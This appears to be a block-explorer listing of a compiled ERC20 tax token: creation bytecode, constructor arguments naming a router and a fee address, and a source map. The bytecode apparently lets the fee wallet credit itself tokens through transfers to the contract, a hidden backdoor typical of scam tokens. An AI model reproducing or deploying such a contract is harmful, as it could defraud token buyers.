181858888f19350505050158015610480573d5f803e3d5ffd5b50565b5f61048f338484610b7b565b5060015b92915050565b5f6104a66009600a6118b4565b6104b490633b9aca006118c2565b905090565b5f546001600160a01b031633146104eb5760405162461bcd60e51b81526004016104e2906118d9565b60405180910390fd5b601454600160a01b900460ff16156105455760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104e2565b6013546105769030906001600160a01b03166105636009600a6118b4565b61057190633b9aca006118c2565b610b7b565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ea919061190e565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610649573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061066d919061190e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106b7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106db919061190e565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610722816001600160a01b03165f9081526001602052604090205490565b5f806107355f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561079b573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107c09190611929565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610815573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104809190611954565b5f610845848484610c9e565b610891843361057185604051806060016040528060288152602001611a56602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611297565b5060019392505050565b6004546001600160a01b0316336001600160a01b0316146108ba575f80fd5b305f9081526001602052604090205480158015906108e15750601454600160b01b900460ff165b156108ef576108ef816112cf565b4780156108ff576108ff8161143f565b5050565b5f546001600160a01b0316331461092c5760405162461bcd60e51b81526004016104e2906118d9565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461099d5760405162461bcd60e51b81526004016104e2906118d9565b6109a96009600a6118b4565b6109b790633b9aca006118c2565b600f556109c66009600a6118b4565b6109d490633b9aca006118c2565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610a046009600a6118b4565b610a1290633b9aca006118c2565b60405190815260200160405180910390a1565b5f546001600160a01b03163314610a4e5760405162461bcd60e51b81526004016104e2906118d9565b6004805460405163a9059cbb60e01b81526001600160a01b03918216928101929092526024820183905283169063a9059cbb906044016020604051808303815f875af1158015610aa0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ac49190611954565b505050565b5f546001600160a01b03163314610af25760405162461bcd60e51b81526004016104e2906118d9565b6014805462ff00ff60a01b19166201000160a01b179055565b6004546001600160a01b0316336001600160a01b031614610a4e575f80fd5b5f61048f338484610c9e565b6004546001600160a01b0316336001600160a01b031614610b55575f80fd5b6009548111158015610b695750600a548111155b610b71575f80fd5b6009819055600a55565b6001600160a01b038316610bdd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e2565b6001600160a01b038216610c3e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e2565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d025760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e2565b6001600160a01b038216610d645760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e2565b5f8111610dc55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e2565b5f80546001600160a01b03858116911614801590610df057505f546001600160a01b03848116911614155b8015610e0a57506004546001600160a01b03848116911614155b1561115a57306001600160a01b03841603610e4057610e2884611476565b8015610e385750610e38826114b2565b610e40575f80fd5b6014546001600160a01b038581169116148015610e6b57506013546001600160a01b03848116911614155b8015610e8f57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ff357601454600160a01b900460ff16610ee35760405162461bcd60e51b81526020600482015260136024820152723a3930b234b7339034b9903737ba1037b832b760691b60448201526064016104e2565b600f54821115610f355760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104e2565b60105482610f57856001600160a01b03165f9081526001602052604090205490565b610f619190611973565b1115610faf5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104e2565b610fdc6064610fd6600b54600e541015610fcb57600754610fcf565b6009545b85906114ea565b9061156f565b600e80549192505f610fed83611986565b91905055505b6014546001600160a01b03848116911614801561101957506001600160a01b0384163014155b801561103357506004546001600160a01b03858116911614155b156110b057601454600160a01b900460ff166110875760405162461bcd60e51b81526020600482015260136024820152723a3930b234b7339034b9903737ba1037b832b760691b60448201526064016104e2565b6110ad6064610fd6600c54600e5410156110a357600854610fcf565b600a5485906114ea565b90505b305f90815260016020526040902054601454600160a81b900460ff161580156110e657506014546001600160a01b038581169116145b80156110fb5750601454600160b01b900460ff165b8015611108575060115481115b80156111175750600d54600e54115b15611139576111396111348461112f846012546115b0565b6115b0565b6112cf565b6014546001600160a01b0390811690851603611158576111584761143f565b505b80156111d257305f9081526001602052604090205461117990826115c4565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111c99085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111f49083611622565b6001600160a01b0385165f908152600160205260409020556112376112198383611622565b6001600160a01b0385165f90815260016020526040902054906115c4565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112808585611622565b60405190815260200160405180910390a350505050565b5f81848411156112ba5760405162461bcd60e51b81526004016104e2919061168f565b505f6112c6848661199e565b95945050505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611315576113156119b1565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561136c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611390919061190e565b816001815181106113a3576113a36119b1565b6001600160a01b0392831660209182029290920101526013546113c99130911684610b7b565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114019085905f908690309042906004016119c5565b5f604051808303815f87803b158015611418575f80fd5b505af115801561142a573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156108ff573d5f803e3d5ffd5b6004545f906001600160a01b03908116908316036114aa57600580546001600160a01b0319166001600160a01b0384161790555b506001919050565b6005546001600160a01b03165f908152600160205260408120805483919083906114dd908490611973565b9091555060019392505050565b5f825f036114f957505f610493565b5f61150483856118c2565b9050826115118583611a36565b146115685760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104e2565b9392505050565b5f61156883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611663565b5f8183116115be5782611568565b50919050565b5f806115d08385611973565b9050838110156115685760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104e2565b5f61156883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611297565b5f81836116835760405162461bcd60e51b81526004016104e2919061168f565b505f6112c68486611a36565b5f602080835283518060208501525f5b818110156116bb5785810183015185820160400152820161169f565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610480575f80fd5b5f8060408385031215611700575f80fd5b823561170b816116db565b946020939093013593505050565b5f805f6060848603121561172b575f80fd5b8335611736816116db565b92506020840135611746816116db565b929592945050506040919091013590565b5f60208284031215611767575f80fd5b8135611568816116db565b5f8060408385031215611783575f80fd5b823561178e816116db565b9150602083013561179e816116db565b809150509250929050565b5f602082840312156117b9575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561180e57815f19048211156117f4576117f46117c0565b8085161561180157918102915b93841c93908002906117d9565b509250929050565b5f8261182457506001610493565b8161183057505f610493565b816001811461184657600281146118505761186c565b6001915050610493565b60ff841115611861576118616117c0565b50506001821b610493565b5060208310610133831016604e8410600b841016171561188f575081810a610493565b61189983836117d4565b805f19048211156118ac576118ac6117c0565b029392505050565b5f61156860ff841683611816565b8082028115828204841417610493576104936117c0565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561191e575f80fd5b8151611568816116db565b5f805f6060848603121561193b575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611964575f80fd5b81518015158114611568575f80fd5b80820180821115610493576104936117c0565b5f60018201611997576119976117c0565b5060010190565b81810381811115610493576104936117c0565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a155784516001600160a01b0316835293830193918301916001016119f0565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a5057634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203c1ab80143096bca7bf2ab56e1dc3222436b99ce40979ba8eba926f98c3b266164736f6c63430008180033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000ce7cba6dfabf67f24f5b0f02c49505ab0cf02837
-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : feeAddr (address): 0xCe7cBA6dfaBf67F24F5b0f02C49505ab0cf02837
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 000000000000000000000000ce7cba6dfabf67f24f5b0f02c49505ab0cf02837
Deployed Bytecode Sourcemap
4113:9997:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13338:151;;;;;;;;;;;;;:::i;:::-;;6112:83;;;;;;;;;;-1:-1:-1;6182:5:0;;;;;;;;;;;;-1:-1:-1;;;6182:5:0;;;;6112:83;;;;;;;:::i;:::-;;;;;;;;7002:186;;;;;;;;;;-1:-1:-1;7002:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7002:186:0;1023:187:1;5256:57:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5256:57:0;1215:177:1;6389:102:0;;;;;;;;;;;;;:::i;13497:610::-;;;;;;;;;;;;;:::i;7196:446::-;;;;;;;;;;-1:-1:-1;7196:446:0;;;;;:::i;:::-;;:::i;6298:83::-;;;;;;;;;;-1:-1:-1;6298:83:0;;4857:1;2000:36:1;;1988:2;1973:18;6298:83:0;1858:184:1;12263:378:0;;;;;;;;;;;;;:::i;6499:119::-;;;;;;;;;;-1:-1:-1;6499:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6592:18:0;6565:7;6592:18;;;:9;:18;;;;;;;6499:119;3108:148;;;;;;;;;;;;;:::i;12649:183::-;;;;;;;;;;;;;:::i;5055:58::-;;;;;;;;;;;;;;;;11905:166;;;;;;;;;;-1:-1:-1;11905:166:0;;;;;:::i;:::-;;:::i;12936:112::-;;;;;;;;;;;;;:::i;12079:176::-;;;;;;;;;;-1:-1:-1;12079:176:0;;;;;:::i;:::-;;:::i;2894:79::-;;;;;;;;;;-1:-1:-1;2932:7:0;2959:6;2894:79;;-1:-1:-1;;;;;2959:6:0;;;2445:51:1;;2433:2;2418:18;2894:79:0;2299:203:1;5120:60:0;;;;;;;;;;;;;;;;6203:87;;;;;;;;;;-1:-1:-1;6275:7:0;;;;;;;;;;;;-1:-1:-1;;;6275:7:0;;;;6203:87;;6626:192;;;;;;;;;;-1:-1:-1;6626:192:0;;;;;:::i;:::-;;:::i;5187:62::-;;;;;;;;;;;;;;;;6826:168;;;;;;;;;;-1:-1:-1;6826:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6959:18:0;;;6932:7;6959:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6826:168;13056:237;;;;;;;;;;-1:-1:-1;13056:237:0;;;;;:::i;:::-;;:::i;13338:151::-;13404:12;;-1:-1:-1;;;;;13404:12:0;293:10;-1:-1:-1;;;;;13388:28:0;;13380:37;;;;;;13436:12;;13428:53;;-1:-1:-1;;;;;13436:12:0;;;;13459:21;13428:53;;;;;13436:12;13428:53;13436:12;13428:53;13459:21;13436:12;13428:53;;;;;;;;;;;;;;;;;;;;;13338:151::o;7002:186::-;7102:4;7119:39;293:10;7142:7;7151:6;7119:8;:39::i;:::-;-1:-1:-1;7176:4:0;7002:186;;;;;:::o;6389:102::-;6442:7;4923:15;4857:1;4923:2;:15;:::i;:::-;4907:31;;:13;:31;:::i;:::-;6462:21;;6389:102;:::o;13497:610::-;3021:6;;-1:-1:-1;;;;;3021:6:0;293:10;3021:22;3013:67;;;;-1:-1:-1;;;3013:67:0;;;;;;;:::i;:::-;;;;;;;;;13562:12:::1;::::0;-1:-1:-1;;;13562:12:0;::::1;;;13561:13;13553:49;;;::::0;-1:-1:-1;;;13553:49:0;;5330:2:1;13553:49:0::1;::::0;::::1;5312:21:1::0;5369:2;5349:18;;;5342:30;5408:25;5388:18;;;5381:53;5451:18;;13553:49:0::1;5128:347:1::0;13553:49:0::1;13645:7;::::0;13613:57:::1;::::0;13630:4:::1;::::0;-1:-1:-1;;;;;13645:7:0::1;4923:15;4857:1;4923:2;:15;:::i;:::-;4907:31;::::0;:13:::1;:31;:::i;:::-;13613:8;:57::i;:::-;13707:7;;;;;;;;;-1:-1:-1::0;;;;;13707:7:0::1;-1:-1:-1::0;;;;;13707:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13689:47:0::1;;13759:4;13779:7;;;;;;;;;-1:-1:-1::0;;;;;13779:7:0::1;-1:-1:-1::0;;;;;13779:12:0::1;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13689:115;::::0;-1:-1:-1;;;;;;13689:115:0::1;::::0;;;;;;-1:-1:-1;;;;;5966:15:1;;;13689:115:0::1;::::0;::::1;5948:34:1::0;6018:15;;5998:18;;;5991:43;5883:18;;13689:115:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13681:5;:123:::0;;-1:-1:-1;;;;;13681:123:0;;::::1;-1:-1:-1::0;;;;;;13681:123:0;;::::1;;::::0;;13815:7:::1;::::0;::::1;:23;13846:21;13891:4;13911:24;13891:4:::0;-1:-1:-1;;;;;6592:18:0;6565:7;6592:18;;;:9;:18;;;;;;;6499:119;13911:24:::1;13950:1;13966::::0;13982:7:::1;2932::::0;2959:6;-1:-1:-1;;;;;2959:6:0;;2894:79;13982:7:::1;13815:215;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13815:215:0;;;-1:-1:-1;;;;;6404:15:1;;;13815:215:0::1;::::0;::::1;6386:34:1::0;6436:18;;;6429:34;;;;6479:18;;;6472:34;;;;6522:18;;;6515:34;6586:15;;;6565:19;;;6558:44;14004:15:0::1;6618:19:1::0;;;6611:35;6320:19;;13815:215:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;14048:5:0::1;::::0;14071:7:::1;::::0;14041:58:::1;::::0;-1:-1:-1;;;14041:58:0;;-1:-1:-1;;;;;14071:7:0;;::::1;14041:58;::::0;::::1;7142:51:1::0;-1:-1:-1;;7209:18:1;;;7202:34;14048:5:0;::::1;::::0;-1:-1:-1;14041:21:0::1;::::0;7115:18:1;;14041:58:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;7196:446::-:0;7328:4;7345:36;7355:6;7363:9;7374:6;7345:9;:36::i;:::-;7392:220;7415:6;293:10;7463:138;7519:6;7463:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7463:19:0;;;;;;:11;:19;;;;;;;;293:10;7463:33;;;;;;;;;;:37;:138::i;7392:220::-;-1:-1:-1;7630:4:0;7196:446;;;;;:::o;12263:378::-;12329:10;;-1:-1:-1;;;;;12329:10:0;293;-1:-1:-1;;;;;12313:26:0;;12305:35;;;;;;12392:4;12351:20;6592:18;;;:9;:18;;;;;;12413:16;;;;;:32;;-1:-1:-1;12433:12:0;;-1:-1:-1;;;12433:12:0;;;;12413:32;12409:95;;;12462:30;12479:12;12462:16;:30::i;:::-;12535:21;12571:14;;12567:67;;12602:20;12611:10;12602:8;:20::i;:::-;12294:347;;12263:378::o;3108:148::-;3021:6;;-1:-1:-1;;;;;3021:6:0;293:10;3021:22;3013:67;;;;-1:-1:-1;;;3013:67:0;;;;;;;:::i;:::-;3215:1:::1;3199:6:::0;;3178:40:::1;::::0;-1:-1:-1;;;;;3199:6:0;;::::1;::::0;3178:40:::1;::::0;3215:1;;3178:40:::1;3246:1;3229:19:::0;;-1:-1:-1;;;;;;3229:19:0::1;::::0;;3108:148::o;12649:183::-;3021:6;;-1:-1:-1;;;;;3021:6:0;293:10;3021:22;3013:67;;;;-1:-1:-1;;;3013:67:0;;;;;;;:::i;:::-;4923:15:::1;4857:1;4923:2;:15;:::i;:::-;4907:31;::::0;:13:::1;:31;:::i;:::-;12703:12;:29:::0;4923:15:::1;4857:1;4923:2;:15;:::i;:::-;4907:31;::::0;:13:::1;:31;:::i;:::-;12743:14;:31:::0;12790:34:::1;4923:15;4857:1;4923:2;:15;:::i;:::-;4907:31;::::0;:13:::1;:31;:::i;:::-;12790:34;::::0;1361:25:1;;;1349:2;1334:18;12790:34:0::1;;;;;;;12649:183::o:0;11905:166::-;3021:6;;-1:-1:-1;;;;;3021:6:0;293:10;3021:22;3013:67;;;;-1:-1:-1;;;3013:67:0;;;;;;;:::i;:::-;12043:10:::1;::::0;;12017:46:::1;::::0;-1:-1:-1;;;12017:46:0;;-1:-1:-1;;;;;12043:10:0;;::::1;12017:46:::0;;::::1;7142:51:1::0;;;;7209:18;;;7202:34;;;12017:25:0;::::1;::::0;::::1;::::0;7115:18:1;;12017:46:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11905:166:::0;;:::o;12936:112::-;3021:6;;-1:-1:-1;;;;;3021:6:0;293:10;3021:22;3013:67;;;;-1:-1:-1;;;3013:67:0;;;;;;;:::i;:::-;12991:12:::1;:19:::0;;-1:-1:-1;;;;13021:19:0;-1:-1:-1;;;13021:19:0;;;12936:112::o;12079:176::-;12179:10;;-1:-1:-1;;;;;12179:10:0;293;-1:-1:-1;;;;;12163:26:0;;12155:35;;;;;6626:192;6729:4;6746:42;293:10;6770:9;6781:6;6746:9;:42::i;13056:237::-;13136:10;;-1:-1:-1;;;;;13136:10:0;293;-1:-1:-1;;;;;13120:26:0;;13112:35;;;;;;13177:12;;13166:7;:23;;:51;;;;;13204:13;;13193:7;:24;;13166:51;13158:60;;;;;;13229:12;:22;;;13262:13;:23;13056:237::o;7957:335::-;-1:-1:-1;;;;;8050:19:0;;8042:68;;;;-1:-1:-1;;;8042:68:0;;8018:2:1;8042:68:0;;;8000:21:1;8057:2;8037:18;;;8030:30;8096:34;8076:18;;;8069:62;-1:-1:-1;;;8147:18:1;;;8140:34;8191:19;;8042:68:0;7816:400:1;8042:68:0;-1:-1:-1;;;;;8129:21:0;;8121:68;;;;-1:-1:-1;;;8121:68:0;;8423:2:1;8121:68:0;;;8405:21:1;8462:2;8442:18;;;8435:30;8501:34;8481:18;;;8474:62;-1:-1:-1;;;8552:18:1;;;8545:32;8594:19;;8121:68:0;8221:398:1;8121:68:0;-1:-1:-1;;;;;8200:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8252:32;;1361:25:1;;;8252:32:0;;1334:18:1;8252:32:0;;;;;;;7957:335;;;:::o;8300:3018::-;-1:-1:-1;;;;;8436:20:0;;8428:70;;;;-1:-1:-1;;;8428:70:0;;8826:2:1;8428:70:0;;;8808:21:1;8865:2;8845:18;;;8838:30;8904:34;8884:18;;;8877:62;-1:-1:-1;;;8955:18:1;;;8948:35;9000:19;;8428:70:0;8624:401:1;8428:70:0;-1:-1:-1;;;;;8517:23:0;;8509:71;;;;-1:-1:-1;;;8509:71:0;;9232:2:1;8509:71:0;;;9214:21:1;9271:2;9251:18;;;9244:30;9310:34;9290:18;;;9283:62;-1:-1:-1;;;9361:18:1;;;9354:33;9404:19;;8509:71:0;9030:399:1;8509:71:0;8613:1;8599:11;:15;8591:69;;;;-1:-1:-1;;;8591:69:0;;9636:2:1;8591:69:0;;;9618:21:1;9675:2;9655:18;;;9648:30;9714:34;9694:18;;;9687:62;-1:-1:-1;;;9765:18:1;;;9758:39;9814:19;;8591:69:0;9434:405:1;8591:69:0;8671:17;2959:6;;-1:-1:-1;;;;;8721:17:0;;;2959:6;;8721:17;;;;:41;;-1:-1:-1;2932:7:0;2959:6;-1:-1:-1;;;;;8742:20:0;;;2959:6;;8742:20;;8721:41;:68;;;;-1:-1:-1;8779:10:0;;-1:-1:-1;;;;;8766:23:0;;;8779:10;;8766:23;;8721:68;8703:2178;;;8841:4;-1:-1:-1;;;;;8820:26:0;;;8816:112;;8873:20;8886:6;8873:12;:20::i;:::-;:54;;;;;8897:30;8915:11;8897:17;:30::i;:::-;8865:63;;;;;;8975:5;;-1:-1:-1;;;;;8965:15:0;;;8975:5;;8965:15;:65;;;;-1:-1:-1;9022:7:0;;-1:-1:-1;;;;;9001:29:0;;;9022:7;;9001:29;;8965:65;:116;;;;-1:-1:-1;;;;;;9052:29:0;;;;;;:18;:29;;;;;;;;9051:30;8965:116;8943:848;;;9124:12;;-1:-1:-1;;;9124:12:0;;;;9116:44;;;;-1:-1:-1;;;9116:44:0;;10046:2:1;9116:44:0;;;10028:21:1;10085:2;10065:18;;;10058:30;-1:-1:-1;;;10104:18:1;;;10097:49;10163:18;;9116:44:0;9844:343:1;9116:44:0;9224:12;;9209:11;:27;;9179:126;;;;-1:-1:-1;;;9179:126:0;;10394:2:1;9179:126:0;;;10376:21:1;10433:2;10413:18;;;10406:30;10472:27;10452:18;;;10445:55;10517:18;;9179:126:0;10192:349:1;9179:126:0;9392:14;;9377:11;9354:20;9364:9;-1:-1:-1;;;;;6592:18:0;6565:7;6592:18;;;:9;:18;;;;;;;6499:119;9354:20;:34;;;;:::i;:::-;:52;;9324:152;;;;-1:-1:-1;;;9324:152:0;;10878:2:1;9324:152:0;;;10860:21:1;10917:2;10897:18;;;10890:30;10956:28;10936:18;;;10929:56;11002:18;;9324:152:0;10676:350:1;9324:152:0;9507:238;9741:3;9507:207;9585:15;;9572:9;;:28;;9571:120;;9677:14;;9571:120;;;9633:12;;9571:120;9507:11;;:37;:207::i;:::-;:233;;:238::i;:::-;9764:9;:11;;9495:250;;-1:-1:-1;9764:9:0;:11;;;:::i;:::-;;;;;;8943:848;9840:5;;-1:-1:-1;;;;;9827:18:0;;;9840:5;;9827:18;:62;;;;-1:-1:-1;;;;;;9866:23:0;;9884:4;9866:23;;9827:62;:103;;;;-1:-1:-1;9920:10:0;;-1:-1:-1;;;;;9910:20:0;;;9920:10;;9910:20;;9827:103;9805:492;;;9973:12;;-1:-1:-1;;;9973:12:0;;;;9965:44;;;;-1:-1:-1;;;9965:44:0;;10046:2:1;9965:44:0;;;10028:21:1;10085:2;10065:18;;;10058:30;-1:-1:-1;;;10104:18:1;;;10097:49;10163:18;;9965:44:0;9844:343:1;9965:44:0;10040:241;10277:3;10040:210;10118:16;;10105:9;;:29;;10104:123;;10212:15;;10104:123;;;10167:13;;10040:11;;:37;:210::i;:241::-;10028:253;;9805:492;10360:4;10311:28;6592:18;;;:9;:18;;;;;;10404:13;;-1:-1:-1;;;10404:13:0;;;;10403:14;:53;;;;-1:-1:-1;10451:5:0;;-1:-1:-1;;;;;10438:18:0;;;10451:5;;10438:18;10403:53;:86;;;;-1:-1:-1;10477:12:0;;-1:-1:-1;;;10477:12:0;;;;10403:86;:147;;;;;10533:17;;10510:20;:40;10403:147;:198;;;;;10583:18;;10571:9;;:30;10403:198;10381:385;;;10636:114;10675:56;10679:11;10692:38;10696:20;10718:11;;10692:3;:38::i;:::-;10675:3;:56::i;:::-;10636:16;:114::i;:::-;10797:5;;-1:-1:-1;;;;;10797:5:0;;;10784:18;;;;10780:90;;10823:31;10832:21;10823:8;:31::i;:::-;8801:2080;8703:2178;10895:13;;10891:174;;10970:4;10952:24;;;;:9;:24;;;;;;:39;;10981:9;10952:28;:39::i;:::-;10943:4;10925:24;;;;:9;:24;;;;;;;:66;;;;11011:42;;-1:-1:-1;;;;;11011:42:0;;;;;;;11043:9;1361:25:1;;1349:2;1334:18;;1215:177;11011:42:0;;;;;;;;10891:174;-1:-1:-1;;;;;11095:17:0;;;;;;:9;:17;;;;;;:34;;11117:11;11095:21;:34::i;:::-;-1:-1:-1;;;;;11075:17:0;;;;;;:9;:17;;;;;:54;11163:76;11202:26;:11;11218:9;11202:15;:26::i;:::-;-1:-1:-1;;;;;11163:20:0;;;;;;:9;:20;;;;;;;:24;:76::i;:::-;-1:-1:-1;;;;;11140:20:0;;;;;;;:9;:20;;;;;:99;;;;11255:55;;;11283:26;:11;11299:9;11283:15;:26::i;:::-;11255:55;;1361:25:1;;;1349:2;1334:18;11255:55:0;;;;;;;8417:2901;8300:3018;;;:::o;889:224::-;1009:7;1045:12;1037:6;;;;1029:29;;;;-1:-1:-1;;;1029:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1069:9:0;1081:5;1085:1;1081;:5;:::i;:::-;1069:17;889:224;-1:-1:-1;;;;;889:224:0:o;11441:456::-;5586:13;:20;;-1:-1:-1;;;;5586:20:0;-1:-1:-1;;;5586:20:0;;;11540:16:::1;::::0;;11554:1:::1;11540:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11540:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11540:16:0::1;11516:40;;11585:4;11567;11572:1;11567:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11567:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11611:7:::1;::::0;:14:::1;::::0;;-1:-1:-1;;;11611:14:0;;;;:7;;;::::1;::::0;:12:::1;::::0;:14:::1;::::0;;::::1;::::0;11567:7;;11611:14;;;;;:7;:14:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11601:4;11606:1;11601:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11601:24:0;;::::1;:7;::::0;;::::1;::::0;;;;;:24;11668:7:::1;::::0;11636:54:::1;::::0;11653:4:::1;::::0;11668:7:::1;11678:11:::0;11636:8:::1;:54::i;:::-;11701:7;::::0;:188:::1;::::0;-1:-1:-1;;;11701:188:0;;-1:-1:-1;;;;;11701:7:0;;::::1;::::0;:58:::1;::::0;:188:::1;::::0;11774:11;;11701:7:::1;::::0;11816:4;;11843::::1;::::0;11863:15:::1;::::0;11701:188:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5629:13:0;:21;;-1:-1:-1;;;;5629:21:0;;;-1:-1:-1;;;;11441:456:0:o;12840:88::-;12893:10;;:27;;-1:-1:-1;;;;;12893:10:0;;;;:27;;;;;12913:6;;12893:10;:27;:10;:27;12913:6;12893:10;:27;;;;;;;;;;;;;;;;;;;7650:145;7736:10;;7705:4;;-1:-1:-1;;;;;7736:10:0;;;7726:20;;;;7722:43;;7748:8;:17;;-1:-1:-1;;;;;;7748:17:0;-1:-1:-1;;;;;7748:17:0;;;;;7722:43;-1:-1:-1;7783:4:0;;7650:145;-1:-1:-1;7650:145:0:o;7803:146::-;7895:8;;-1:-1:-1;;;;;7895:8:0;7868:4;7885:19;;;:9;:19;;;;;:34;;7908:11;;7885:19;7868:4;;7885:34;;7908:11;;7885:34;:::i;:::-;;;;-1:-1:-1;7937:4:0;;7803:146;-1:-1:-1;;;7803:146:0:o;1121:246::-;1179:7;1203:1;1208;1203:6;1199:47;;-